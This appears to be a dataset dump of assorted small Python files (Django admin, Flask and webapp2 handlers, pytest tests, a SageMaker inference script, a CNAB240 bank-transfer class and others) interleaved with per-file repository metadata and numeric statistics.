from django.contrib import admin from .models import Notification class NotificationAdmin(admin.ModelAdmin): ordering = ('published',) search_fields = ('get_author',) list_display = ('id', 'get_author', 'published', 'summary') def get_author(self, obj: Notification): return obj.author.displayName admin.site.register(Notification, NotificationAdmin)
23.8125
63
0.727034
41
381
6.634146
0.658537
0.099265
0
0
0
0
0
0
0
0
0
0
0.15748
381
15
64
25.4
0.847352
0
0
0
0
0
0.12336
0
0
0
0
0
0
1
0.111111
false
0
0.222222
0.111111
0.888889
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
f1f2862dcb680020685252fc0444e7b7a36ac2b8
427
py
Python
apptweak/ios.py
gudhati/apptweak-api-python-library
f4a7f7e34548d6d216f3a297d63944c7adbf9667
[ "MIT" ]
5
2019-05-21T14:44:57.000Z
2020-10-30T04:08:13.000Z
apptweak/ios.py
gudhati/apptweak-api-python-library
f4a7f7e34548d6d216f3a297d63944c7adbf9667
[ "MIT" ]
1
2020-08-28T02:42:37.000Z
2020-08-28T07:52:54.000Z
apptweak/ios.py
gudhati/apptweak-api-python-library
f4a7f7e34548d6d216f3a297d63944c7adbf9667
[ "MIT" ]
5
2019-07-18T13:38:01.000Z
2021-06-09T04:12:35.000Z
from apptweak.plateform import * class Ios(Plateform): plateform_name = 'ios' def __init__(self): super().__init__(self.plateform_name) @classmethod def ratings(self, application_id, params = {}): return self.applications(application_id, API_END_PATH['ratings'], params) @classmethod def backlinks(self, application_id): raise Exception('Not implemented for this plateform')
26.6875
81
0.697892
48
427
5.895833
0.583333
0.137809
0.120141
0
0
0
0
0
0
0
0
0
0.199063
427
15
82
28.466667
0.827485
0
0
0.181818
0
0
0.103045
0
0
0
0
0
0
1
0.272727
false
0
0.090909
0.090909
0.636364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
7b0281efeed9226063f79960fa17b68b47603613
2,578
py
Python
test/graph/test_from_ase.py
yhtang/GraphDot
3d5ed4fbb2f6912052baa42780b436da76979691
[ "BSD-3-Clause-LBNL" ]
9
2020-02-14T18:07:39.000Z
2021-12-15T12:07:31.000Z
test/graph/test_from_ase.py
yhtang/graphdot
3d5ed4fbb2f6912052baa42780b436da76979691
[ "BSD-3-Clause-LBNL" ]
3
2020-03-19T19:07:26.000Z
2021-02-24T06:08:51.000Z
test/graph/test_from_ase.py
yhtang/graphdot
3d5ed4fbb2f6912052baa42780b436da76979691
[ "BSD-3-Clause-LBNL" ]
3
2019-10-17T06:11:18.000Z
2021-05-07T11:56:33.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import pytest from ase.build import molecule from ase.lattice.cubic import SimpleCubic from graphdot.graph import Graph from graphdot.graph.adjacency import AtomicAdjacency adjacencies = [ AtomicAdjacency(shape='tent1', length_scale=1.0, zoom=1), AtomicAdjacency(shape='tent2', length_scale='vdw_radius', zoom=1), AtomicAdjacency( shape='gaussian', length_scale='covalent_radius_pyykko', zoom=1.5 ), AtomicAdjacency(shape='compactbell3,2'), ] def test_ase_one(): atoms = molecule('H2') graph = Graph.from_ase(atoms) assert(len(graph.nodes) == 2) assert(len(graph.edges) == 1) @pytest.mark.parametrize('atoms', [ SimpleCubic(latticeconstant=2, size=(2, 1, 1), symbol='Cu', pbc=(1, 0, 0)), SimpleCubic(latticeconstant=2, size=(1, 2, 1), symbol='Cu', pbc=(0, 1, 0)), SimpleCubic(latticeconstant=2, size=(1, 1, 2), symbol='Cu', pbc=(0, 0, 1)), ]) @pytest.mark.parametrize('adj', adjacencies) def test_ase_pbc1(atoms, adj): graph_pbc = Graph.from_ase(atoms, use_pbc=True, adjacency=adj) graph_nopbc = Graph.from_ase(atoms, use_pbc=False, adjacency=adj) assert(len(graph_pbc.edges) == len(graph_nopbc.edges)) @pytest.mark.parametrize('atoms', [ SimpleCubic(latticeconstant=2, size=(3, 1, 1), symbol='Cu', pbc=(1, 0, 0)), SimpleCubic(latticeconstant=2, size=(4, 1, 1), symbol='Cu', pbc=(1, 0, 0)), SimpleCubic(latticeconstant=2, size=(7, 1, 1), symbol='Cu', pbc=(1, 0, 0)), SimpleCubic(latticeconstant=2, size=(1, 3, 1), symbol='Cu', pbc=(0, 1, 0)), SimpleCubic(latticeconstant=2, size=(1, 4, 1), symbol='Cu', pbc=(0, 1, 0)), SimpleCubic(latticeconstant=2, size=(1, 7, 1), symbol='Cu', pbc=(0, 1, 0)), SimpleCubic(latticeconstant=2, size=(1, 1, 3), symbol='Cu', pbc=(0, 0, 1)), SimpleCubic(latticeconstant=2, size=(1, 1, 4), symbol='Cu', pbc=(0, 0, 1)), SimpleCubic(latticeconstant=2, size=(1, 1, 7), symbol='Cu', pbc=(0, 0, 1)), ]) def test_ase_pbc2(atoms): adj = AtomicAdjacency(shape='tent1', length_scale=1.0, zoom=1) graph_pbc = Graph.from_ase(atoms, use_pbc=True, adjacency=adj) graph_nopbc = Graph.from_ase(atoms, use_pbc=False, adjacency=adj) assert(len(graph_pbc.edges) > len(graph_nopbc.edges)) @pytest.mark.parametrize('atoms', [ molecule('H2'), molecule('CH4'), molecule('CH3COOH'), SimpleCubic(latticeconstant=1, size=(3, 3, 1), symbol='Cu', pbc=(1, 1, 0)), ]) def test_ase(atoms): g = Graph.from_ase(atoms) assert(len(g.nodes) == len(atoms)) assert(len(g.edges) > 0)
38.477612
79
0.660978
382
2,578
4.376963
0.172775
0.202153
0.085526
0.222488
0.639354
0.630383
0.582536
0.582536
0.529904
0.478469
0
0.052273
0.146625
2,578
66
80
39.060606
0.707727
0.016292
0
0.185185
0
0
0.050118
0.008682
0
0
0
0
0.111111
1
0.074074
false
0
0.092593
0
0.166667
0
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
7b2c39567282edd435ce6c7b2d8bdb6da59671bf
439
py
Python
bin/curvature.py
AgeYY/prednet
90668d98b88e29bbaa68a7709e4fcb3664c110e8
[ "MIT" ]
null
null
null
bin/curvature.py
AgeYY/prednet
90668d98b88e29bbaa68a7709e4fcb3664c110e8
[ "MIT" ]
null
null
null
bin/curvature.py
AgeYY/prednet
90668d98b88e29bbaa68a7709e4fcb3664c110e8
[ "MIT" ]
null
null
null
# calculate the curverture import numpy as np import matplotlib.pyplot as plt from predusion.tools import curvature radius = 2 n_point = 10 circle_curve = [[radius * np.sin(t), radius * np.cos(t)] for t in np.linspace(0, 2 * np.pi, n_point, endpoint=False)] circle_curve = np.array(circle_curve) #plt.figure() #plt.scatter(circle_curve[:, 0], circle_curve[:, 1]) #plt.show() ct, ct_mean = curvature(circle_curve) print(ct, ct_mean)
20.904762
117
0.724374
73
439
4.219178
0.534247
0.214286
0.051948
0
0
0
0
0
0
0
0
0.018519
0.138952
439
20
118
21.95
0.796296
0.220957
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0.111111
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
7b2fdc657bc9709a4e827c864106583a0abe59bc
461
py
Python
Lib/site-packages/elasticsearch_django/signals.py
Nibraz15/FullTextSearch
79d03a9b5c0fc94219ad9a70fe57818496844660
[ "bzip2-1.0.6" ]
null
null
null
Lib/site-packages/elasticsearch_django/signals.py
Nibraz15/FullTextSearch
79d03a9b5c0fc94219ad9a70fe57818496844660
[ "bzip2-1.0.6" ]
null
null
null
Lib/site-packages/elasticsearch_django/signals.py
Nibraz15/FullTextSearch
79d03a9b5c0fc94219ad9a70fe57818496844660
[ "bzip2-1.0.6" ]
null
null
null
import django.dispatch # signal fired just before calling model.index_search_document pre_index = django.dispatch.Signal(providing_args=["instance", "index"]) # signal fired just before calling model.update_search_document pre_update = django.dispatch.Signal( providing_args=["instance", "index", "update_fields"] ) # signal fired just before calling model.delete_search_document pre_delete = django.dispatch.Signal(providing_args=["instance", "index"])
35.461538
73
0.796095
59
461
6
0.322034
0.158192
0.225989
0.177966
0.669492
0.669492
0.389831
0
0
0
0
0
0.097614
461
12
74
38.416667
0.850962
0.399132
0
0
0
0
0.190476
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
9e27be8d3067835dcbda95c1548885176ae1ebf3
440
py
Python
ifconfigparser/__init__.py
KnightWhoSayNi/ifconfig-parser
4921ac9d6be6244b062d082c164f5a5e69522478
[ "MIT" ]
17
2018-10-06T15:19:27.000Z
2022-02-25T05:05:22.000Z
ifconfigparser/__init__.py
KnightWhoSayNi/ifconfig-parser
4921ac9d6be6244b062d082c164f5a5e69522478
[ "MIT" ]
3
2019-11-22T23:40:58.000Z
2019-12-06T02:26:59.000Z
ifconfigparser/__init__.py
KnightWhoSayNi/ifconfig-parser
4921ac9d6be6244b062d082c164f5a5e69522478
[ "MIT" ]
2
2019-05-10T15:36:46.000Z
2020-11-18T11:56:33.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- # ====================================================== # # File name: __init__.py # Author: [email protected] # Date created: 30.06.2018 17:00 # Python Version: 3.7 # # ====================================================== from .ifconfig_parser import IfconfigParser __author__ = "KnightWhoSayNi" __email__ = '[email protected]' __version__ = '0.0.5'
25.882353
56
0.522727
40
440
5.325
0.825
0.253521
0.28169
0
0
0
0
0
0
0
0
0.046753
0.125
440
16
57
27.5
0.506494
0.625
0
0
0
0
0.329032
0.206452
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
9e2adc78300cf5e3761e489b41942048bb77f39e
544
py
Python
que-shi-de-shu-zi-lcof.py
tsonglew/leetcode-solution
abce0c36def55a8d3bf86fca531246a29920e771
[ "Unlicense" ]
null
null
null
que-shi-de-shu-zi-lcof.py
tsonglew/leetcode-solution
abce0c36def55a8d3bf86fca531246a29920e771
[ "Unlicense" ]
null
null
null
que-shi-de-shu-zi-lcof.py
tsonglew/leetcode-solution
abce0c36def55a8d3bf86fca531246a29920e771
[ "Unlicense" ]
null
null
null
class Solution: def missingNumber(self, nums) -> int: if nums[0] != 0: return 0 if nums[-1] != len(nums): return len(nums) return self.f(nums) def f(self, nums): print(nums) if len(nums) <= 3: for i in range(1, len(nums)): if nums[i] != nums[i-1] + 1: return nums[i-1] + 1 mid = len(nums) // 2 if nums[mid] != nums[0] + mid: return self.f(nums[:mid+1]) return self.f(nums[mid:])
28.631579
44
0.439338
75
544
3.186667
0.28
0.146444
0.138075
0.188285
0.150628
0
0
0
0
0
0
0.040625
0.411765
544
18
45
30.222222
0.70625
0
0
0
0
0
0
0
0
0
0
0
0
1
0.117647
false
0
0
0
0.529412
0.058824
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
9e36180ad2d9abb3875f4262a27e459d07a15a75
1,097
py
Python
setup.py
osism/netbox-plugin-osism
8cba95bd6bed167c5a05d464d95246c9d4c98a6a
[ "Apache-2.0" ]
null
null
null
setup.py
osism/netbox-plugin-osism
8cba95bd6bed167c5a05d464d95246c9d4c98a6a
[ "Apache-2.0" ]
null
null
null
setup.py
osism/netbox-plugin-osism
8cba95bd6bed167c5a05d464d95246c9d4c98a6a
[ "Apache-2.0" ]
null
null
null
from setuptools import setup setup( name='netbox_plugin_osism', version='0.0.1', description='NetBox Plugin OSISM', long_description='Netbox Plugin OSISM', url='https://github.com/osism/netbox-plugin-osism', download_url='https://github.com/osism/netbox-plugin-osism', author='OSISM GmbH', author_email='[email protected]', maintainer='OSISM GmbH', maintainer_email='[email protected]', install_requires=[], packages=['netbox_plugin_osism'], package_data={ 'netbox_plugin_osism': ['templates/netbox_plugin_osism/*.html'] }, include_package_data=True, zip_safe=False, platforms=['Any'], keywords=['netbox', 'netbox-plugin'], classifiers=[ 'Development Status :: 3 - Alpha', 'License :: OSI Approved :: Apache Software License', 'Framework :: Django', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3 :: Only', 'Intended Audience :: Developers', 'Environment :: Console', ], )
31.342857
64
0.631723
114
1,097
5.929825
0.526316
0.159763
0.201183
0.08284
0.115385
0.115385
0.115385
0.115385
0
0
0
0.007018
0.220602
1,097
34
65
32.264706
0.783626
0
0
0
0
0
0.507748
0.032817
0
0
0
0
0
1
0
true
0
0.030303
0
0.030303
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
9e47088047a050a5c1880fb84b394c06ebc4af2c
968
py
Python
application.py
nicolas-van/startup_asgard_app
acbb706256214f6758de9db92ff2988cee62c8ff
[ "MIT" ]
null
null
null
application.py
nicolas-van/startup_asgard_app
acbb706256214f6758de9db92ff2988cee62c8ff
[ "MIT" ]
null
null
null
application.py
nicolas-van/startup_asgard_app
acbb706256214f6758de9db92ff2988cee62c8ff
[ "MIT" ]
null
null
null
from __future__ import unicode_literals, print_function, absolute_import import flask import os import os.path import json import sjoh.flask import logging import asgard app = asgard.Asgard(__name__, flask_parameters={"static_folder": None}) # load configuration about files and folders folder = os.path.dirname(__file__) fc = os.path.join(folder, "filesconfig.json") with open(fc, "rb") as file_: fc_content = file_.read().decode("utf8") files_config = json.loads(fc_content) # register static folders for s in files_config["static_folders"]: def gen_fct(folder): def static_route(path): return flask.send_from_directory(folder, path) return static_route route = "/" + s + "/<path:path>" app.web_app.add_url_rule(route, "static:"+s, gen_fct(s)) @app.web_app.route("/") def main(): return flask.render_template("index.html", files_config=files_config) @app.web_app.json("/hello") def hello(): return "Hello"
25.473684
73
0.722107
139
968
4.755396
0.453237
0.066566
0.040847
0
0
0
0
0
0
0
0
0.00122
0.152893
968
37
74
26.162162
0.804878
0.068182
0
0
0
0
0.101449
0
0
0
0
0
0
1
0.148148
false
0
0.296296
0.111111
0.592593
0.037037
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
9e470dc0299f2bc08dbfaf73e95ab549a126fe53
414
py
Python
build/lib/tests/visualizer_test.py
eltoto1219/vltk
e84c0efe9062eb864604d96345f71483816340aa
[ "Apache-2.0" ]
null
null
null
build/lib/tests/visualizer_test.py
eltoto1219/vltk
e84c0efe9062eb864604d96345f71483816340aa
[ "Apache-2.0" ]
null
null
null
build/lib/tests/visualizer_test.py
eltoto1219/vltk
e84c0efe9062eb864604d96345f71483816340aa
[ "Apache-2.0" ]
null
null
null
import io import os import unittest import numpy as np from PIL import Image from vltk import SingleImageViz PATH = os.path.dirname(os.path.realpath(__file__)) URL = "https://raw.githubusercontent.com/airsplay/py-bottom-up-attention/master/demo/data/images/input.jpg" class TestVisaulizer(unittest.TestCase): url = URL def test_viz(self): viz = SingleImageViz(self.url) viz.show()
18
107
0.731884
58
414
5.137931
0.689655
0.040268
0
0
0
0
0
0
0
0
0
0
0.164251
414
22
108
18.818182
0.861272
0
0
0
0
0.076923
0.23913
0
0
0
0
0
0
1
0.076923
false
0
0.461538
0
0.692308
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
9e49cf2dc6f50772b3945f19de0ff48e7f6c2734
358
py
Python
backend/api/serializers.py
vingle1/RestaurantProject
5106a7662f26324ef50eebcfcba673960dff1734
[ "MIT" ]
null
null
null
backend/api/serializers.py
vingle1/RestaurantProject
5106a7662f26324ef50eebcfcba673960dff1734
[ "MIT" ]
1
2017-12-10T18:12:38.000Z
2017-12-10T18:12:38.000Z
backend/api/serializers.py
vingle1/RestaurantProject
5106a7662f26324ef50eebcfcba673960dff1734
[ "MIT" ]
2
2017-10-31T20:48:04.000Z
2017-11-30T04:05:36.000Z
from django.contrib.auth.models import User, Group from rest_framework import serializers from rest_framework_json_api.relations import * #load django and webapp models #from django.contrib.auth.models import * from api.models import * class FmenuSerializer(serializers.ModelSerializer): class Meta: model = Fmenu fields = '__all__'
22.375
51
0.765363
45
358
5.911111
0.555556
0.135338
0.12782
0.157895
0.24812
0.24812
0
0
0
0
0
0
0.170391
358
15
52
23.866667
0.895623
0.192737
0
0
0
0
0.024476
0
0
0
0
0
0
1
0
false
0
0.5
0
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
9e7f4a260998bd0657b9e3609f0b0e379a30df8c
212
py
Python
Integrators/leap.py
chaosandcomplexity/Classical-Propagation
2180d1aafd5e0b5c378382b9fdbeb21d759b6ce2
[ "MIT" ]
null
null
null
Integrators/leap.py
chaosandcomplexity/Classical-Propagation
2180d1aafd5e0b5c378382b9fdbeb21d759b6ce2
[ "MIT" ]
null
null
null
Integrators/leap.py
chaosandcomplexity/Classical-Propagation
2180d1aafd5e0b5c378382b9fdbeb21d759b6ce2
[ "MIT" ]
null
null
null
def method(q1,p1,dq,dp,t1,dt): a1=[0.5,0.5] b1=[0,1] A=[dq,dp] for i in range(len(a1)): q1+=b1[i]*dt*A[0](q1,p1,t1) p1+=a1[i]*dt*A[1](q1,p1,t1) t1+=dt return q1,p1,t1
19.272727
35
0.462264
49
212
2
0.408163
0.163265
0.183673
0
0
0
0
0
0
0
0
0.183007
0.278302
212
10
36
21.2
0.457516
0
0
0
0
0
0
0
0
0
0
0
0
1
0.111111
false
0
0
0
0.222222
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
9e86f093b3ddd416fb693a33a299a63023c78c4a
1,014
py
Python
src/entry_point.py
TaikiInoue/KaoruRecognition
9e42944d89abeea3a754b8ce858b0aa66119565f
[ "MIT" ]
null
null
null
src/entry_point.py
TaikiInoue/KaoruRecognition
9e42944d89abeea3a754b8ce858b0aa66119565f
[ "MIT" ]
null
null
null
src/entry_point.py
TaikiInoue/KaoruRecognition
9e42944d89abeea3a754b8ce858b0aa66119565f
[ "MIT" ]
null
null
null
# References # https://docs.aws.amazon.com/sagemaker/latest/dg/adapt-inference-container.html import logging import numpy as np import PIL from numpy import ndarray as NDArray from PIL.Image import Image from six import BytesIO from torch.nn import Module from facenet_pytorch import MTCNN logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) def model_fn(model_dir: str) -> Module: return MTCNN(image_size=160, margin=0, device="cuda:0") def input_fn(request_body: bytes, content_type: str = "application/x-npy") -> Image: stream = BytesIO(request_body) np_img = np.load(stream, allow_pickle=True) return PIL.Image.fromarray(np_img) def predict_fn(input_data: Image, model: Module) -> NDArray: face = model(input_data) face = face.permute(1, 2, 0) return face.detach().cpu().numpy() def output_fn(prediction: NDArray, content_type: str = "application/x-npy") -> bytes: buffer = BytesIO() np.save(buffer, prediction) return buffer.getvalue()
23.045455
85
0.732742
147
1,014
4.918367
0.517007
0.02213
0.038728
0.069156
0.080221
0.080221
0
0
0
0
0
0.009313
0.15286
1,014
43
86
23.581395
0.832363
0.087771
0
0
0
0
0.043384
0
0
0
0
0
0
1
0.166667
false
0
0.333333
0.041667
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
9e8bde4f4893f69df667f132646ec28b77e6aaf9
1,542
py
Python
anywayapp/base.py
ronreiter/anyway
90326b7defaec062d75653729fd63a1913074064
[ "BSD-3-Clause" ]
8
2016-09-14T11:31:04.000Z
2021-02-23T22:29:55.000Z
anywayapp/base.py
ronreiter/anyway
90326b7defaec062d75653729fd63a1913074064
[ "BSD-3-Clause" ]
2
2015-03-02T15:16:09.000Z
2016-11-16T11:20:15.000Z
anywayapp/base.py
ronreiter/anyway
90326b7defaec062d75653729fd63a1913074064
[ "BSD-3-Clause" ]
4
2015-03-01T09:50:57.000Z
2020-08-28T12:03:37.000Z
import webapp2 from models import * from webapp2_extras import sessions def user_optional(handler): def check_login(self, *args, **kwargs): self.user = self.get_user() return handler(self, *args, **kwargs) return check_login def user_required(handler): def check_login(self, *args, **kwargs): user = self.get_user() if not user: self.session["last_page_before_login"] = self.request.path + "?" + self.request.query_string self.redirect("/") else: self.user = user return handler(self, *args, **kwargs) return check_login class BaseHandler(webapp2.RequestHandler): def dispatch(self): # Get a session store for this request. self.session_store = sessions.get_store(request=self.request) try: # Dispatch the request. webapp2.RequestHandler.dispatch(self) finally: # Save all sessions. self.session_store.save_sessions(self.response) @webapp2.cached_property def session(self): # Returns a session using the default cookie key. return self.session_store.get_session() def get_user(self): if "user_id" in self.session and self.session["user_id"] is not None: return User.get_by_id(self.session["user_id"]) def set_user(self, user): self.session["user_id"] = user.key().id() def logout(self): self.session["user_id"] = None
29.653846
105
0.610246
186
1,542
4.903226
0.317204
0.108553
0.061404
0.074561
0.177632
0.177632
0.177632
0.10307
0.10307
0
0
0.00455
0.287289
1,542
51
106
30.235294
0.825296
0.081712
0
0.171429
0
0
0.043414
0.016188
0
0
0
0
0
1
0.257143
false
0
0.085714
0.028571
0.542857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
9e99d0c79aa914a0737c4a26e98e840b98a19a4a
322
py
Python
apps/Utils/message_constants.py
vikkyB2/UserMaintenance
0ae9db17d694ae67ac82145524cae4a1f69d54c6
[ "MIT" ]
null
null
null
apps/Utils/message_constants.py
vikkyB2/UserMaintenance
0ae9db17d694ae67ac82145524cae4a1f69d54c6
[ "MIT" ]
null
null
null
apps/Utils/message_constants.py
vikkyB2/UserMaintenance
0ae9db17d694ae67ac82145524cae4a1f69d54c6
[ "MIT" ]
null
null
null
LOGGEDOUT_SCSS_MSG = "User Logged out successfully" LOGIN_SCSS_MSG = "User Logged in successfully" INVALID_PASS = "Passowrd not valid" INVALID_USER = "User dose not exsists" INVALID_SESSION = "Session Invalid" INVALID_REQUEST = "Not a valid request" BAD_REQUEST = "Bad request" PASSWORD_EXPIERD = "Password Expierd"
40.25
52
0.779503
43
322
5.604651
0.511628
0.058091
0.091286
0.141079
0
0
0
0
0
0
0
0
0.145963
322
8
53
40.25
0.876364
0
0
0
0
0
0.490506
0
0
0
0
0
0
1
0
false
0.25
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
9eb647f3ff599f7fe9aba98c470407028b7ff5b5
682
py
Python
notifications/providers/slack.py
danidee10/django-notifs
2712aad90ee1cc7b6735dad6e311e4df6a02b843
[ "MIT" ]
145
2017-06-22T20:37:14.000Z
2022-02-03T21:18:28.000Z
notifications/providers/slack.py
danidee10/django-notifs
2712aad90ee1cc7b6735dad6e311e4df6a02b843
[ "MIT" ]
67
2017-06-23T06:53:32.000Z
2021-11-13T04:00:27.000Z
notifications/providers/slack.py
danidee10/django-notifs
2712aad90ee1cc7b6735dad6e311e4df6a02b843
[ "MIT" ]
24
2017-06-22T20:37:17.000Z
2022-02-17T19:52:35.000Z
from notifications import ImproperlyInstalledNotificationProvider try: from slack_sdk import WebClient except ImportError as err: raise ImproperlyInstalledNotificationProvider( missing_package='slack_sdk', provider='slack' ) from err from notifications import default_settings as settings from . import BaseNotificationProvider class SlackNotificationProvider(BaseNotificationProvider): name = 'slack' def __init__(self, context=dict()): self.slack_client = WebClient(token=settings.NOTIFICATIONS_SLACK_BOT_TOKEN) super().__init__(context=context) def send(self, payload): self.slack_client.chat_postMessage(**payload)
28.416667
83
0.771261
68
682
7.470588
0.514706
0.066929
0.090551
0
0
0
0
0
0
0
0
0
0.159824
682
23
84
29.652174
0.886562
0
0
0
0
0
0.027859
0
0
0
0
0
0
1
0.125
false
0
0.3125
0
0.5625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
7b42bb511e27ed76adb521890d7b12af28eb727f
206
py
Python
project/striide/urls.py
Striide/DjangoRestApi
db4bec3bf5ac7b60021a5e28d67a054d80ed307f
[ "MIT" ]
null
null
null
project/striide/urls.py
Striide/DjangoRestApi
db4bec3bf5ac7b60021a5e28d67a054d80ed307f
[ "MIT" ]
null
null
null
project/striide/urls.py
Striide/DjangoRestApi
db4bec3bf5ac7b60021a5e28d67a054d80ed307f
[ "MIT" ]
null
null
null
from django.contrib import admin from django.conf.urls import url, include # Wire up our API using automatic URL routing. # Additionally, we include login URLs for the browsable API. urlpatterns = [ ]
25.75
60
0.762136
30
206
5.233333
0.766667
0.127389
0
0
0
0
0
0
0
0
0
0
0.179612
206
8
61
25.75
0.928994
0.5
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
7b47c5080977b6ed437b3d285f1ec4ab43d82e70
145
py
Python
acronym.py
MathewsPeter/PythonProjects
4ea83a317452f8abd2c9c1273753037de263f88f
[ "MIT" ]
null
null
null
acronym.py
MathewsPeter/PythonProjects
4ea83a317452f8abd2c9c1273753037de263f88f
[ "MIT" ]
null
null
null
acronym.py
MathewsPeter/PythonProjects
4ea83a317452f8abd2c9c1273753037de263f88f
[ "MIT" ]
null
null
null
fullform = input("Enter a full form: ") words = fullform.split(" ") acro = "" for word in words: acro+=word[0] print("Acronym is ", acro)
24.166667
39
0.62069
21
145
4.285714
0.761905
0
0
0
0
0
0
0
0
0
0
0.008696
0.206897
145
6
40
24.166667
0.773913
0
0
0
0
0
0.212329
0
0
0
0
0
0
1
0
false
0
0
0
0
0.166667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
7b480f2ef9a1cf0b8da2461f923c649d122517ca
514
py
Python
Usuario.py
Josh0105/SESION9
90421c3573e66c5d4bdf93c52c67658b9de03977
[ "Apache-2.0" ]
1
2020-10-20T04:02:49.000Z
2020-10-20T04:02:49.000Z
Usuario.py
Josh0105/Sesion9
90421c3573e66c5d4bdf93c52c67658b9de03977
[ "Apache-2.0" ]
null
null
null
Usuario.py
Josh0105/Sesion9
90421c3573e66c5d4bdf93c52c67658b9de03977
[ "Apache-2.0" ]
null
null
null
class Usuario: def __init__(self, id, usuario, passw): self.id = id self.usuario = usuario self.passw = passw def autenticar(self, usuario, passw): if self.usuario == usuario and self.passw == passw: print("La autenticación fue correcta") return True print ("La autenticación fue incorrecta") return False def dump(self): return { 'id' : self.id, 'nombre' : self.usuario }
19.769231
59
0.533074
54
514
5
0.388889
0.162963
0.133333
0.17037
0
0
0
0
0
0
0
0
0.375486
514
26
60
19.769231
0.841122
0
0
0
0
0
0.132296
0
0
0
0
0
0
1
0.1875
false
0.25
0
0.0625
0.4375
0.125
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
7b51e80ec38fe59135b07b0729fc19b2c432fc68
1,118
py
Python
febraban/cnab240/itau/sispag/payment/transfer.py
netosjb/febraban-python
a546fa3353d2db1546df60f6f8cc26c7c862c743
[ "MIT" ]
7
2019-07-16T11:31:50.000Z
2019-07-29T19:49:50.000Z
febraban/cnab240/itau/sispag/payment/transfer.py
netosjb/febraban-python
a546fa3353d2db1546df60f6f8cc26c7c862c743
[ "MIT" ]
4
2020-05-07T15:34:21.000Z
2020-11-12T21:09:34.000Z
febraban/cnab240/itau/sispag/payment/transfer.py
netosjb/febraban-python
a546fa3353d2db1546df60f6f8cc26c7c862c743
[ "MIT" ]
6
2019-12-04T00:40:10.000Z
2020-11-05T18:39:40.000Z
from .segmentA import SegmentA class Transfer: def __init__(self): self.segmentA = SegmentA() def toString(self): return self.segmentA.content def amountInCents(self): return self.segmentA.amountInCents() def setSender(self, user): self.segmentA.setSenderBank(user.bank) def setReceiver(self, user): self.segmentA.setReceiver(user) self.segmentA.setReceiverBank(user.bank) def setAmountInCents(self, value): self.segmentA.setAmountInCents(value) def setPositionInLot(self, index): self.segmentA.setPositionInLot(index) def setLot(self, lot): self.segmentA.setLot(lot) def setScheduleDate(self, date): self.segmentA.setScheduleDate(date) def setInfo(self, reason="10"): """ This method set config information in the payment Args: reason: String - Payment reason - 10 Credito em Conta Corrente, read: NOTES 26 """ self.segmentA.setInfo(reason) def setIdentifier(self, identifier): self.segmentA.setIdentifier(identifier)
24.844444
91
0.658318
118
1,118
6.20339
0.40678
0.196721
0.065574
0.060109
0
0
0
0
0
0
0
0.007126
0.246869
1,118
44
92
25.409091
0.862233
0.125224
0
0
0
0
0.002132
0
0
0
0
0
0
1
0.44
false
0
0.04
0.08
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
